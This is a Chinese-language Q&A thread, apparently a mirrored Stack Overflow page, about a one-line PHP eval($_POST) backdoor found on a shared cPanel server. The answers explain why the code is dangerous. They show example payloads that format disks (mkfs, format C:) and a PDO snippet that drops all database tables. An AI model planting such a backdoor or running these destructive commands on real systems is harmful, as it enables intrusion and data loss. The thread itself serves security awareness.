2

假设您在与 cPanel 共享的网络服务器中找到了此代码。您是否能够通过将 shell 上传到服务器或通过其他方法访问邮件附件或 cPanel?

我不需要有关如何执行此操作的步骤。只是对可能采取的行动的总体想法。很抱歉,我不能给你更多的细节。但是这段代码不是用来攻击任何人的。

<?php eval($_POST['path']);?>
4

3 回答 3

5

简单的答案是肯定的,请阅读此链接以获取更多信息。

警告

eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。因此不鼓励使用它。如果您已仔细验证除了使用此构造之外别无选择,请特别注意不要将任何用户提供的数据传入其中,而无需事先正确验证。

例如,设置path为以下将运行 apache 用户有权运行的任何 shell 命令。

exec("system command here");
于 2012-12-21T18:53:27.603 回答
1

不应使用 Eval,除非您正确维护输入,否则即使您确实维护了输入,也不应使用它;它会给您的服务器带来极大的风险。特别是如果您只是eval$_POST.. 运行,我可以使用Tamper data将该帖子的内容修改为任何内容;SQL注入,以PHP等方式运行任何东西。

你不应该使用这个,除非

1)你知道你在做什么

2) 你觉得你是 100% 免受攻击者的攻击。

参见手册:

http://uk3.php.net/manual/en/function.eval.php

eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。因此不鼓励使用它。如果您已仔细验证除了使用此构造之外别无选择,请特别注意不要将任何用户提供的数据传入其中,而无需事先正确验证。

例子:

在 linux 系统上我的帖子可能是:

<?php exec(mkfs.ext3 /dev/sdb1); ?> 

我会格式化你的FS

在 Windows 文件系统上:

<?php exec("format C: /q"); ?> 

再次格式化。

这只是为什么不应该使用它的一个例子。

稍晚编辑:

我忘记将其添加到我的答案中,所以我现在将其添加。

如果使用eval($_POST[]);你的脚本非常危险,IE。如果我发现你正在使用PDO和你的数据库连接变量。我可以执行以下操作:

$Query = $eval->prepare("SHOW TABLES"); $Query->execute(); $Fetch = $Query->fetchAll(PDO::FETCH_COLUMN); print_r($Fetch); foreach($Fetch AS $F){ $New = $eval->exec("DROP TABLE {$F}"); }

并且您的所有表都将被删除,这是应避免使用 Eval 的一个小例子;

于 2012-12-21T18:56:17.163 回答
0

这是一个可怕的安全漏洞,允许未经过滤的输入数据执行任意代码。任何对运行 PHP 的用户可用的访问权限都将提供给可能的攻击者。

于 2012-12-21T18:54:28.730 回答